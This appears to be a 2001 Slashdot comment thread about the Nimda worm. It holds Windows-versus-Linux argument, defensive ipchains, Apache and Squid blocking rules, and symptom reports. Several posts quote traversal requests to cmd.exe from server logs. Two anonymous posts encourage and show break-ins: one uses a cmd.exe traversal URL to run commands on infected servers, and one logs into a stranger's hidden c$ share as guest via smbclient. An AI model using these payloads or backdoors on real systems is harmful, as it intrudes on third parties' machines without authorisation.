There is a reason IIS works on Win2K... Win2K is an OS for either power users themselves, or use in enviroments where there is an IT dept. to maintain things. There is NO excuse for patches to not be applied in those enviroments. Win2K is not for Grandma Ethel. I know of no "normal users" who have Win2K--and most don't even know what the heck it is. Computer manufacturers won't sell Win2K to "home" customers, either. And, even if someone does get Win2K, you DO have to install it. I don't care what you think you know about Windows--but being that you "don't use MS product", I don't think you're in a position to tell someone who works on/with/and maintains Win2K systems every day how they operate.

"Have MS done anything to alert Joe User about the need to patch?" Umm, yes. Since you don't use MS products, I suppose you don't know anything about "Windows Update" or the "Critical Update Notification" or that an end-user, who knows nothing about how their computer works, can patch their computer in less than 10 minutes. It's so easy to keep a Windows system patched, it's hilarious that you make such a huge deal about it.

Obviously you are living in your Linux-only world, and know little about how Windows works. So, it's probably for the better if you would do some research before babbling on about things. Oh, yeah..it would also help if you weren't so scared of losing karma that you'd post under something other than Anonymous Coward.

-Jayde

Re:Liability & Negligence

[shepd]

I'm in a punchy mood too. :-)

>and I'm not going to pretend that GNOME and Linux offer greater productivity just because some rabid script kiddie thinks otherwise.

That's why I don't use windows. I don't think interfaces that warez d00dz find 3l33t too appealing either.

>I can surf the WWW with the best browser available

So can I, mozilla is offered on both unix and windows.

>I can play any game I want

If you want games buy a game machine. Your wallet, your SO, and friends will appreciate it. Jeez, next thing you know they'll be installing toasters inside refrigerators.

>and install any PC hardware/software and be guaranteed of compatability.

I think you mean that you can install any windows hardware/software you want. I'd like to see you get MPlayer for linux going on your machine with SDL extensions (it's faster than WiMP). Or give gatos-ati a shot.

>And anyone who tells you that Windows is unstable hasn't used NT -- probably can't afford it, writing free software and all. ;-)

I also find the OS itself reasonanbly stable. It just isn't very good about protecting itself from poorly written code. So yes, if you want to run NotePad and Calculator at the same time its great. But if you write some sloppy code its going to play hell with the OS (I could prove this many times over -- video drivers that totally lock up the machine are a great example). Linux, on the other hand, doesn't allow code in userland (as opposed to rootland) to beat the hell out of the OS (Sure X might freeze your video, but you can always get into your box other ways and shut it down properly).

Is sloppy code MSs fault? No. Should they write an OS that protects itself from it? Yes. Most especially yes when the OS is marketed for people with the IQ of a Garden Gnome.

>I have a UNIX command line on my NT box. The best of both worlds.

Wow. I guess you really are set then. You have 1/20th of the OS so you really must have everything you'll ever need. I guess you'll never need any of the other common utils, like gs, xpdf, or anything else.

When I install Slackware+KDE I get 100% of the applications windows comes with, plus a bunch of extras.

>And when Win2k was first released, many of these morons thought, "Hey, 2000 is bigger than 98, it must be better!"

...caused mostly by MS marketing the OS to these people. They mentioned many times that 2000 would be the only upgrade path after Win 98. Which became Win ME. Which became defeat with Win XP. You can't blame people for trusting MS, can you? Well, maybe I can, but you sure can't.

>My theory is that, because NT is [superficially] easier to admin than UNIX, a greated percentage of NT admins are clueless fucktards who shouldn't be allowed within 25 miles of a networked computer. :-)

Superficially. Ain't that the truth. After you get past the shiny outside you find a box full of unlabeled wires. It'd take a PhD to perfectly configure IIS.

Just my 2 cents.

Re:Liability & Negligence

[shepd]

>If I need to point out that Mozilla isn't half as standards-compliant as IE5.

I can find various websites that show Mozilla is better than IE5 at modern standards. I suppose if you want an old browser, then fine. If you want something modern then mozilla is your answer.

>I can tell you from daily experience that IE is the fastest, smallest (in terms of memory footprint), and most standards-compliant available for UNIX.

No, for Solaris. Find me the BSD port, AT&T port, and SCO port of IE if you want to say that.

>I guess you've never really had to write any markup

I write HTML no problem. Your problem is you aren't writing HTML, you must be writing Internet Explorer documents if they aren't working in anything else.

>BTW, I don't need xpdf or gs because there are plenty of alternatives and Windows land.

Yup, you can use Adobe Acrobat and not print stuff when the creator of the document tells you not to. And you can't edit the source because you can't get it. Oh, and you can't create pdf files.

Except if you fork out money. Money which you don't need to fork out if you use linux (or anything else that supports GNU software).

BTW: I'd like to know about what you use on windows to display and print postscript. That would be fun. Don't forget to mention the price tag and tell me how many times more expensive it is than ghostscript (better get that calculus going, because its going to be an infinite number).

>Once again, this is BS. Sorry, I thought this was a serious reply, but...

Tell me what you think is missing and I will prove it isn't. Unless you do that you're just trolling for pointlessness. I have better things to do than list applications for you.

This is the email I send to ...

[narfbot]

I send this to web sites that I can spot using my apache access log. I tell them they're infected. :)

To Webmaster:

Your web server is infected with W32.Nimda.A@mm. It continuely sends invalid GET requests to my web server. Please take action.
http://www.sarc.com/avcenter/venc/data/w32.nimda .a @mm.html

I recommend you to switch from your Microsoft Web Server and use a free, and more secure server such as Apache. http://www.apache.org/

Thank you

Which kind are YOU?

[Anonymous Coward]

When someone chooses NT for a server, there's only three possible things that can be on their mind:

1. "Duh?"
2. "When this system gets infected, I'll pretend I didn't know it was unsafe, and Microsoft will get sued instead of me! Muahahaha! I'm not responsible! It's somebody else's problem, even though I knew about it and didn't do anything to prevent it."
3. "I am going to spend the next 25% of my life keeping up with bugfixes and patches and watching this system like a hawk. It's not 'fire and forget' software, and will require eternal hand-holding, but that's why I'm getting the big bucks. Monitoring and maintenance is my full time job."

So, IIS WebMasters, which category are you in?

How charming: Even Microsoft is infected

[CrackWilding]

I've been looking up IPs listed in my logs -- just curious to know who's infected -- and guess what I found:

64.121.170.4

Look it up for a good time...

Re:How charming: Even Microsoft is infected

[Anonymous Coward]

Whats this, your ISP?

RCN Corporation (NET-RCN-BLK-19)
105 Carnegie Center
Princeton, NJ 08540
US

Netname: RCN-BLK-19
Netblock: 64.121.0.0 - 64.121.255.255
Maintainer: RCN

Coordinator:
RCN Corporation (ZR40-ARIN) noc@rcn.com
703-426-4335

Domain System inverse mapping provided by:

NS.BRAINSTORM.NET 205.178.112.2
NS2.BRAINSTORM.NET 205.178.112.3

Does Nimda affect Cisco routers (a la Code Red)?

[GPS Pilot]

The Cisco 675 I use for DSL access was acting sluggish/nearly dead this morning, just like it did a few weeks ago when Code Red was going around. Are there any reports of Nimda causing this kind of thing?

My version:

[roystgnr]

A few small fixes, but mainly this puts everything on a second chain, so that only incoming HTTP requests will have to go through hundreds of ipchains rules.

#!/bin/sh

if [ ! "`ipchains -n -L block80`" ]
then ipchains -N block80
fi

if [ ! "`ipchains -L input | grep block80`" ]
then ipchains -A input -p tcp --syn -d 0/0 80 -j block80
fi

for LUSER in `egrep "winnt|default\.ida" /var/log/httpd/error_log* | awk '{print $8}' | sed -e 's/]//' | sort | uniq`; do
if [ ! "`ipchains -L -n | grep $LUSER`" ]
then ipchains -A block80 -s $LUSER -d 0/0 -j DENY
echo "Blocking $LUSER"
fi
done

Re:My version:

[Portax]

Thank you. thank you. thank you. I've been wondering how to stop all these log requests on my server. I'm pretty much getting hit by every windows computer on the RR network I think.

Re:My version:

[jsse]

I see the power of community efforts. Thanks!

Killing Network Drivers

[Anonymous Coward]

Something odd... after being infected for several hours, some of the machines have started to lose network connectivity. Hmm...

I forgot one

[Anonymous Coward]

When you report a problem with one of their products to MS, they don't care if all it creates is a crash (I guess this is not surprising really, given the general level of stability of their OSs). They absolutely refuse, as a matter of policy, to do anything unless you can provide proof of exploitability. How negligent is that?

IIS Wish

[Swaffs]

I found on one of the cracked servers a page that contained this address:

iiswish@microsoft.com

Its so you can email them with comments or suggestions... you all know what to do...

Comment removed

[account_deleted]

Comment removed based on user account deletion

Will Gov Prosecute MS for faulty Software?

[Anonymous Coward]

THIS message takes extremes and make broad generalzations and giant leaps of logic. Sure it is flawed, but no more flawed then what the goverenment is trying to do wrt encryption.

This is a IIS and IE virus/worm. There is one company that keeps releasing shotty software that is vulnerable. This time it is being used by 'bad guys' (where bad guys are people who are flooding the net w/ their crap).

Well, I believe the government is trying to outlaw encryption because the bad guys use it. So will they outlaw IE and IIS since bad guys are using it to 'damage' the internet?

Name of the virus

[mglcel]

I've received a mail, with an attached file readme.exe declared as mime format audio/x-wav.
<BR>&lt;BR&gt;&lt;BR&gt;after hexadecimal dump, i've noticed this string :
<BR>&lt;BR&gt;
<BR>&lt;BR&gt;"Concept Virus(CV) V.5, Copyright(C)2001 R.P.China"
<BR>&lt;BR&gt;in the code i can found :
<BR>&lt;BR&gt;&lt;BR&gt;00009b20 2f 5f 76 74 69 5f 62 69 6e 2f 2e 2e 25 32 35 35 |/_vti_bin/..%255|
<BR>&lt;BR&gt;&lt;BR&gt;00009b30 63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e |c../..%255c../..|
<BR>&lt;BR&gt;&lt;BR&gt;00009b40 25 32 35 35 63 2e 2e 00 2f 5f 6d 65 6d 5f 62 69 |%255c.../_mem_bi|
<BR>&lt;BR&gt;&lt;BR&gt;00009b50 6e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 |n/..%255c../..%2|
<BR>&lt;BR&gt;&lt;BR&gt;_vti_bin and _mem_bin are part of my apache access logs :
<BR>&lt;BR&gt;&lt;BR&gt;213.195.72.2 - - [18/Sep/2001:23:57:27 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 213.195.72.2 - - [18/Sep/2001:23:57:27 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249
<BR>&lt;BR&gt;&lt;BR&gt;major part of the mail can be found in the hex dump as :
<BR>&lt;BR&gt;&lt;BR&gt;000092a0 0d 0a 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e |....|
<BR>&lt;BR&gt;&lt;BR&gt;000092b0 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 20 62 67 43 |.|
<BR>&lt;BR&gt;&lt;BR&gt;000092d0 0a 3c 69 66 72 61 6d 65 20 73 72 63 3d 33 44 63 |.....--|
<BR>&lt;BR&gt;&lt;BR&gt;which is the code of the html part of the mail,
<BR>&lt;BR&gt;&lt;BR&gt;or :
<BR>&lt;BR&gt;&lt;BR&gt;00009350 37 38 39 30 44 45 46 5f 3d 3d 3d 3d 0d 0a 43 6f |7890DEF_====..Co|
<BR>&lt;BR&gt;&lt;BR&gt;00009360 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 75 64 69 |ntent-Type: audi|
<BR>&lt;BR&gt;&lt;BR&gt;00009370 6f 2f 78 2d 77 61 76 3b 0d 0a 09 6e 61 6d 65 3d |o/x-wav;...name=|
<BR>&lt;BR&gt;&lt;BR&gt;00009380 22 72 65 61 64 6d 65 2e 65 78 65 22 0d 0a 43 6f |"readme.exe"..Co|
<BR>&lt;BR&gt;&lt;BR&gt;00009390 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 |ntent-Transfer-E|
<BR>&lt;BR&gt;&lt;BR&gt;000093a0 6e 63 6f 64 69 6e 67 3a 20 62 61 73 65 36 34 0d |ncoding: base64.|
<BR>&lt;BR&gt;&lt;BR&gt;000093b0 0a 43 6f 6e 74 65 6e 74 2d 49 44 3a 20 3c 45 41 |.Content-ID: .......|
<BR>&lt;BR&gt;&lt;BR&gt;which corresponds to the mail :
<BR>&lt;BR&gt;&lt;BR&gt;&amp;nbsp; &amp;nbsp; I 3 readme.exe [audio/x-wav, base64, 75K]
<BR>&lt;BR&gt;&lt;BR&gt;(mutt output)
<BR>&lt;BR&gt;&lt;BR&gt;I'm not a virus expert, but if somebody is interested by the readme.exe code or more informations, please mail mglcel@gcu-squad.org.
<BR>&lt;BR&gt;&lt;BR&gt;I've sent a mail to mc-afee support to learn if they know this worm, Concept(CV).

Re:Name of the virus

[mirr]

Hi there!

Could you send me this email to heiord2@gmx.net ? I want to check my exim mail scanner (exiscan) against nimda ;)

greets, mirr

Someone was testing this out way before September

[TrentC]

I was digging thru my logs when I found this entry (note the date)...

207.##.###.# - - [02/Apr/2001:03:15:00 -0700] "GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af. .%c0%af..%c0%af..%c0%af/winnt/system32/
cmd.exe?/c%20dir HTTP/1.0" 404 329

So it looks like someone was giving this one a dry run several months ago...

Jay (=

Perl Mod to help out

[Mister_Rogers]

Reuven Lerner, the author of Linux Journal's nifty At The Forge column, wrote a really cool Apache module in perl named Apache::CodeRed and available from cpan here. This helped out with my codered hits and made me feel like I might be helping get rid of the stupid thing.

I modified (search and replace..hehe) Apache::CodeRed by inserting "Nimda" where "CodeRed" had been and put it in perl's @INC. I also had to change the Apache config file to pass requests for /scripts to Apache::Nimda by adding the lines:

PerlModule Apache::Nimda
<Location /script>
SetHandler perl-script
PerlHandler Apache::Nimda
</Location>

As soon as telocity's mail server comes back up (another nimda victim?) I'll email Mr. Lerner and see if he is interested in making a more general perl Mod to deal with all these annoying exploits. Maybe if the people who admin these rouge boxes got as many emails as I get breakin attempts they'd get on the ball and fix their machines...but I kinda doubt it.

Squid acl to block .eml files.

[funky womble]

If you have windows boxen proxied through a squid (or, behind a unix router where you could install a squid as a transparent proxy) then you can do this:

acl umbricus_microsoftius url_regex \.eml$
http_access deny umbricus_microsoftius

Obviously it quite an easy filter to come up with, but I may as well post it for anyone that didn't think of it. Bit easier than reconfiguring 4 gazillion IE boxen and fielding all the calls about websites needing VBS/Javascript not working after you've fixed people's machines.

New ad campaign for Microsoft IIS

[Atilla]

...

"A Web Interface for your Windows Explorer"

Re:Anyone know of a tool to stop it using bandwidt

[Sloppy]

Does anyone know of a tool or a quick fix to stop this thinging chewing up bandwidth?

Wire cutters.

Concept (CV) Virus - Namba worm ?

[mglcel]

sorry for the last ugry post, bad manipulation.

I've received a mail, with an attached file readme.exe declared as mime format audio/x-wav.

after hexadecimal dump, i've noticed this string :

000090c0 6e 74 65 72 66 61 63 65 73 00 00 00 43 6f 6e 63 |nterfaces...Conc|
000090d0 65 70 74 20 56 69 72 75 73 28 43 56 29 20 56 2e |ept Virus(CV) V.|
000090e0 35 2c 20 43 6f 70 79 72 69 67 68 74 28 43 29 32 |5, Copyright(C)2|
000090f0 30 30 31 20 20 52 2e 50 2e 43 68 69 6e 61 00 00 |001 R.P.China..|

"Concept Virus(CV) V.5, Copyright(C)2001 R.P.China"

in the code i can found :

00009b20 2f 5f 76 74 69 5f 62 69 6e 2f 2e 2e 25 32 35 35 |/_vti_bin/..%255| 00009b30 63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e |c../..%255c../..|
00009b40 25 32 35 35 63 2e 2e 00 2f 5f 6d 65 6d 5f 62 69 |%255c.../_mem_bi| 00009b50 6e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 |n/..%255c../..%2|

_vti_bin and _mem_bin are part of my apache access logs :
213.195.72.2 - - [18/Sep/2001:23:57:27 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 213.195.72.2 - - [18/Sep/2001:23:57:27 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 major part of the mail can be found in the hex dump as :
000092a0 0d 0a 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e |....|
000092b0 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 20 62 67 43 |.| 00092d0 0a 3c 69 66 72 61 6d 65 20 73 72 63 3d 33 44 63 |.....--| which is the code of the html part of the mail,

or :
00009350 37 38 39 30 44 45 46 5f 3d 3d 3d 3d 0d 0a 43 6f |7890DEF_====..Co|
00009360 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 75 64 69 |ntent-Type: audi| 00009370 6f 2f 78 2d 77 61 76 3b 0d 0a 09 6e 61 6d 65 3d |o/x-wav;...name=| 00009380 22 72 65 61 64 6d 65 2e 65 78 65 22 0d 0a 43 6f |"readme.exe"..Co| 00009390 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 |ntent-Transfer-E| 000093a0 6e 63 6f 64 69 6e 67 3a 20 62 61 73 65 36 34 0d |ncoding: base64.| 000093b0 0a 43 6f 6e 74 65 6e 74 2d 49 44 3a 20 3c 45 41 |.Content-ID: .......| which corresponds to the mail :
I 3 readme.exe [audio/x-wav, base64, 75K] (mutt output) I'm not a virus expert, but if somebody is interested by the readme.exe code or more informations, please mail mglcel@gcu-squad.org. I've sent a mail to mc-afee support to learn if they know this worm, Concept(CV).

s/namba/nimda/

[mglcel]

it's better..

I was HIT!

[thewebman]

A Canadian Company that I am working for was hit this morning by one for those virii. It has a name - the Concept Virus. It seems to propogate itself by finding open IIS servers within the network (in our case, about 30 pc's running Windows 2000 Advanced Server w/ IIS running by defualt) :) It then continues to create it's own versions of the cmd.exe, tftp.exe and admin.dll files for propogation within the network.
I hope this helps some folks out. It appears as though that this virus writes a tonne of tmp files to the inetpub folder, and you can see the executable code inside, as well as the name of the virus itself.

Have fun! I'm gonna go get my mac on!! =:)
God-bless the free world (in particular, Canada!)

Helpful scripts and configuration for Apache

[Grue]

I noticed my line going crazy this morning, and after checking the apache logs, saw a bunch of shit. So I wrote these scripts to automatically add the IIS hosts to the ipchains table.

apache.sh:
#!/bin/sh

ALOG=/var/log/apache/access.log

declare -a PATT=('/winnt/system32/cmd' 'GET\ /default.ida')
declare -a SP=('Some\ new\ IIS\ exploit' 'CodeRed\ worm')

#let i=0

# Parse apache log for some new freaking IIS exploit
for sploit in "${PATT[@]}" ;
do
#echo "${SP[$i]}"
cat $ALOG | grep "$sploit" | cut -f 1 -d ' ' | ./sortip.sh | uniq
#((i++))
#echo
done

addrules.sh:#!/bin/sh

IPADDR=`hostname -i`

#grep 'DENY' /var/log/kern.log | gawk '{ print $12; }' | cut -d ':' -f 1 > b.tmp

# add new chain for http idiots
if [ ! "`ipchains -L | grep 'Chain web'`" ]
then ipchains -N web
fi

# go through the list of idiots, adding a rule to DENY all packs to port 80
for ip in $(./apache.sh | ./sortip.sh | uniq) ;
do
if [ ! "`ipchains -L -n | grep '$sploit'`" ]
then ipchains -v -A web -p TCP -s "$ip"/32 -d $IPADDR www -j DENY
# then echo "$ip"
fi
done

sortip.sh:
#!/bin/sh

sort -t '.' -g -k1,1 -k2,2 -k3,3 -k4,4

If you're running Apache, the following directives will log all the requests to a different file:

# CustomLog with idiot IIS users
SetEnvIf Request_URI "winnt" idiots
SetEnvIf Request_URI "root.exe" idiots
SetEnvIf Request_URI "default.ida" idiots
SetEnvIf Request_URI "c+dir" idiots
LogFormat "%h %t \"%r\"" formofidiots
CustomLog /var/log/apache/idiots.log formofidiots env=idiots

Hope that helps! The apache logging is based on ideas from another post on here, but the rest is my own. Feel free to modify and share.

Josh

Bummer !

[fodi]

Arghhh!! Just when you thought it was safe to spend the day /.ing, this comes along...

Oh well, off to Symantec.com...

URLScan

[Pinball Wizard]

I just found a very interesting tool at Microsoft's website, UrlScan. It is able to identify malformed requests, and thus is able to prevent against future, unknown worms. It discards the requests before they can be executed.

Anyone know if something like this exists for Apache? A tool like this, if widespread, could effectively contain future buffer-overrun type attacks.

Re:URLScan

[xiaix]

From the page cited above:

"Microsoft recommends that the tool only be used by experienced web administrators , as it is possible to configure the filters in a way that would interfere with normal web site operation. The tool is available for downloading..."

That is probably why they dont include it in the base product. A lot of inexperienced webmins might not be able to get their site running if they used it. (which might not be such a bad thing in this case...)

Re:URLScan

[Anonymous Coward]

Well, by that argument, default.ida shouldn't have been included in the base product, because it interfered with normal web operations wtih no configuration required.

Re:URLScan

[the_olo]

>A tool like this, if widespread, could effectively
>contain future buffer-overrun type attacks.

Unless, of course, there were buffer overruns in UrlScan itself (which isn't that improbable considering buffer overruns in the "Microsoft Internet Security and Acceleration Server" :-))
Security holes happen in security products too.

Perl script?

[Nate Fox]

So who's gonna write a version of the CR/CR2 perl script that Kryptolus wrote? I would like to, but I'm not quite enough of a perl hacker to pull off something worth running on the logs that this worm is generating.

WOW - check the backbone ping speeds . . .

[jgaynor]

They arent as bad as they were this afternoon (theres at least one green time now), but check out the damage.

Internet Traffic Report

Re:WOW - check the backbone ping speeds . . .

[Anonymous Coward]

as of 9:32, teh internet traffic report showed Red 0's (%100 packet loss) for the entire world!! Whats up with that???

Blacklist of infected machines?

[Reid Priedhorsky]

Is there a blacklist of machines infected by worms/virii that generate irritating traffic (e.g. nimda, Code Red)? Something along the lines of ORBS or MAPS... someone detects virus/worm activity coming from a machine and zip, the machine's IP goes into the blacklist and everyone ignores it.

If not, anyone interested in starting such a list?

Re:Blacklist of infected machines?

[wytcld]

Wouldn't be too useful, since the infection is spreading so fast. Running the simple script donated by a user here to add ipchains rules based on Apache logs and running it from cron, I'm up over 1000 blocked hijacked machines at present - it's increasing geometrically. If finds a usable machine near you, it will find all the usable machines near you, and they will all focus on their IP neighborhood while also testing addresses farther away - so what's after you is also somewhat about your IP.

Re:Blacklist of infected machines?

[macrophage]

That would be well and good, except many broadband providers use DCHP and expire DCHP leases on a regular to semi-regular basis. You may block an infected machine for a period of time, but it would be back with a shiny new IP address. You also risk blocking a non-infected machine.

The ISPs need to be informed which of their customers is infected. It is up to the Win2K and WinNT users to ensure their machines are protected.

Apache notification module released

[the way]

Nick Tonkin has already written an extension to Apache::CodeRed that notifies administrators of infected hosts of both the CodeRed and Nimda worms. The module requires Apache+mod_perl and is available from here.

Nick's announcement is here and important configuration instructions are here.

Thanks to Nick, Nathan, and all the mod_perl crew for their quick work.

Re:There are currently 4 known means of propogatio

[ToLu the Happy Furby]

These executables are automatically executed if the receipient who opens (or previews) the email is running Internet Explorer 5 or 6. Note that the worm may spoof the source address on the emails...

...The wav file is called readme.eml. Microsoft Internet Explorer 5.0 and higher will automatically execute the malicious file...

Nowhere on the link you provided does it specify which versions of IE are affected. Indeed, I'm fairly certain that IE6 is *not* affected (or at least requires the user to respond to a dialog box before it will run .eml or .exe files). Moreover, I'm fairly sure that MS has patches for these vulnerabilities in IE5.

On the other hand, I believe that IE4 *is* vulnerable to at least the .eml bug.

Doh, forgot one other apache config item

[Grue]

Ooops, add this to the end of your current CustomLog statements for access.log and the others: env=!idiots

So for example:

CustomLog /var/log/apache/referer.log referer env=!idiots

Grue

More fun with the worm

[Anonymous Coward]

As long as you know what servers have the exploits (check your server logs), you might as well check out how well the backdoors work...

I connected to a few of them this morning just to check out what files they have.

http://IPADDRESS.COM/scripts/..%252f../winnt/sys te m32/cmd.exe?/c+dir

I'm sure you guys can be a little more creative with this...

Air Con

blame where blame is due

[Anonymous Coward]

No, the blame is on admins who don't keep their systems up to date.

Petreley's Apache Redirect

[wytcld]

From varlinux.org, just in case you have redirects enabled in Apache:

[F]or those of you using Apache, here's one way you can redirect these nimda probes just like you could the Code Red probes. All the requests vary, but they seem to include a call to one or more of the following somewhere in the string: cmd.exe, root.exe, or Admin.dll. You can't count on these appearing at the beginning or end of the string, so you have to match it anywhere within. I just took the simplest approach by matching either .exe or .dll.

So if you want to redirect such requests to Microsoft support, for example, you might use the following:

RedirectMatch ^.*\.(exe|dll).* http://support.microsoft.com

Since you're using Linux or some other Unix-like operating system (I presume), it's unlikely you need to serve up any pages that include the strings ".exe" or ".dll", so this shouldn't interfere with the normal operation of your site.

Re:National Infrastructure Protection Center warni

[yardbird]

That's not a threat; it's a friendly offer!

Nimda?

[imadork]

As in 'Admin' spelled backwards?

Some symptoms

[slarblar91]

- Windows File Protection errors:

At around the time the virus hit, Windows 2000 event log reported file replacement errors for these files:

"File replacement was attempted on the protected system file ... This file was restored to the original version to maintain system stability":

d:\program files\microsoft frontpage\version3.0\bin\fp98swin.exe
d:\program files\common files\microsoft shared\web server extensions\40\bin\tcptest.exe
d:\program files\common files\microsoft shared\msinfo\msinfo32.exe
d:\program files\outlook express\wabmig.exe
d:\program files\outlook express\wab.exe
d:\program files\windows nt\pinball\pinball.exe
d:\winnt\system32\mspaint.exe
d:\program files\outlook express\msimn.exe
d:\program files\internet explorer\connection wizard\isignup.exe
d:\program files\internet explorer\connection wizard\inetwiz.exe
d:\winnt\system32\inetsrv\inetmgr.exe
d:\program files\internet explorer\connection wizard\icwconn2.exe
d:\program files\internet explorer\connection wizard\icwconn1.exe
d:\program files\windows nt\dialer.exe
d:\program files\netmeeting\conf.exe
d:\winnt\system32\cmmgr32.exe

The virus exe references this registry string, so I guess its possible this is where its grabbing some of these paths:

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths

- IE crashing on NT:

On NT SP4, IE crashes whenever I try to load it (Dr Watson is triggered). The same crash appears right after logging in as well. If I cancel Watson, IE will continue to run, but the system is very slow. IE also crashed on my Win 2k box, but it works now after I cleaned up some of the virus files.

- It seems the virus created these files, which I deleted:

WINNT\mmc.exe - 56 KB
(icon is the same as for IE html pages)

WINNT\Admin.dll - 56 KB

Admin.dll also showed up in a few IIS directories.

- The bogus mmc.exe process had a couple instances running when I first discovered the virus. I had to reboot to kill them. At the same time, netstat was reporting tons of connections to port 80 of various hosts as the virus tried to spread.

- Lots of mep* files found in the WINNT directory on my NT box. The .tmp files seem to contain the mime attachment data for readme.exe:

mepDF.tmp - 78 KB
mepEO.tmp - 78 KB
mepE3.tmp - 78 KB
mep181.tmp - 78 KB
mep183.tmp - 78 KB

mepE2.tmp.exe - 56 KB
mepE4.tmp.exe - 56 KB
mepE5.tmp.exe = 56 KB

A few more similar looking files.

At one point I noticed one of the mep*.exe processes was running.

- On my Win2K box, these files appeared in hundreds of directories (fewer files found on my NT box - probably something to do with how my virtual IIS dirs are set up):

readme.eml
desktop.eml
sample.eml
desktop.nws (fewer of these than the others)

- A line of javascript code was appended to some of the html and asp files in my virtual IIS dirs:

<html><script language="JavaScript">window.open ("readme.eml", null, "resizable=no,top=6000,left=6000") </script></html>

- One of the virus .exe files contains the string:

Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

- My suggestion is to do a full search for any of these files and check them out. Note the modification dates.

Re:Time for a class action lawsuit against Microso

[purplemonkeydan]

Are you aware that a spammer can send you HTML e-mail and know when it is displayed on your screen? All he does is include a unique 1x1 .GIF URL. When his system sees a "GET" on his web server for the .GIF, he knows that your e-mail address is valid, the IP address of your machine, and that he's got a live one. Welcome to more spam. And you cannot turn off HTML fetching from your e-mail or have it ask you first.

These are all examples of gross security flaws that Microsoft has created. Sorry, but that's negligence in its simplist form.

Wrong. Blame Netscape for that. They brought out HTML e-mail.

Different issue this time around

[alienmole]

This worm is spreading through email, even on systems that are 100% patched and running antivirus packages. The problem is the architecture of Outlook and Exchange. Microsoft has known about this for a long time, and has released nothing but quick fixes. I've testified as an expert witness in court cases before, and I would have no problem testifying as to Microsoft's negligence in the case of this particular virus, based on the evidence I have so far (although it's still early).

MS-SQL

[MaxQuordlepleen]

Microsoft SQL Server is one of the few Microsoft products I would recommend to clients.

It's a reasonably powerful RDBMS. mySQL is simply not an option in most mission critical situations, /. notwithstanding ;)

I'll admit that I haven't used postgreSQL in a production environment (boy I'd love to) so I can't speak to it's scalability, although I will say that it performs much better than MS-SQL on garbage hardware. That's not much of an endorsement, unfortunately, since if all you have is garbage hardware mySQL is probably "good enough" for whatever application you have....

Re:There are currently 4 known means of propogatio

[mlefevre]

Nowhere on the link [incidents.org] you provided does it specify which versions of IE are affected. Indeed, I'm fairly certain that IE6 is *not* affected (or at least requires the user to respond to a dialog box before it will run .eml or .exe files). Moreover, I'm fairly sure that MS has patches for these vulnerabilities in IE5.

You are correct about IE6 being unaffected. The vulnerability is not present in IE 5.01 SP2 or IE 5.5 SP2. If you've got a lesser version, you should install the service pack, although alternatively there is a patch, which has been available since March when the problem was found.

Comment removed

[account_deleted]

Comment removed based on user account deletion

MORE INFO

[jmorse]

There seems to be three aspects to this worm:

1. The IIS exploit. The worm tries to get hold of cmd.exe and other IIS vulnerabilities (there are too many to count). It can enter a target machine this way.
2. The Outlook attachment exploit. This is the usual script attachment/dumb luser vulnerability.
3. The network share exploit. The worm then searches the network for Windows shares, and plants .eml files recursively in all the shares and subdirectories. It also infects .exe files. If you open any of these .eml files or run any of the .exe files, the worm will replicate again.
4. 
   
   
   

   We were hit hard by this at my company today. Our IT department just didn't learn its lesson from Code Red, and allowed people to continue running IIS on their personal machines.

   
   

   Wanna know how to get rid of it? People where I work have had success with the following:

   
   
   • Stop and disable IIS.
   • Apply the IIS patch, available from Micro$oft (not sure of the URL).
   • Disable all your network shares.
   • GREP your entire file system for readme.eml, and delete any executables that show up in this search.
   • Delete all .eml files from your system (a handy way to do this is with del /S *.eml at a command prompt)...
   • Make sure there are no .eml files left, then reboot your machine.
   • Finally, install a real web server....this one is a good choice.
   
   
   
   

   Bill Gates and Steve Ballmer should be drawn and quartered for this one... How much have these vulnerabilities cost companies in the last two years? It's just too bad that product liability laws don't apply to Micro$oft.

wow we have FULL access to the hard drives...

[Anonymous Coward]

I was just reading on Symantec's site that this thing shares all the hard drives c - z as "hidden" shares c$ - z$ accessible to the guest account. On a hunch I took the most recent ip out of my apache log file of an infected server attaching me and walla...
smbclient \\\\61.156.8.4\\c$ -U guest
added interface ip=XXX.XXX.XX.XX
bcast=XXX.XXX.XX.255 nmask=255.255.255.0
session request to 61.156.8.4 failed (Called name not present)
session request to 61 failed (Called name not present)
Password:
Domain=[WORKGROUP] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> dir
IO.SYS HSR 40774 Mon May 30 17:22:00 1994
MSDOS.SYS HSR 38138 Mon May 30 17:22:00 1994
COMMAND.COM A 54645 Mon May 30 17:22:00 1994
DRVSPACE.BIN HSR 66294 Mon May 30 17:22:00 1994
CDROM D 0 Sat Jun 30 23:44:32 2001
AUTOEXEC.BAT A 32 Sat Jun 30 23:44:40 2001
CONFIG.SYS A 41 Sat Jun 30 23:44:40 2001
WINNT D 0 Sun Jul 1 00:54:08 2001
NTDETECT.COM AHSR 26816 Tue Aug 7 22:27:20 2001
bootfont.bin AHSR 304624 Mon Nov 25 11:00:00 1996
ntldr AHSR 161104 Tue Aug 7 22:27:20 2001
bootsect.dos A 512 Sun Jul 1 00:56:00 2001
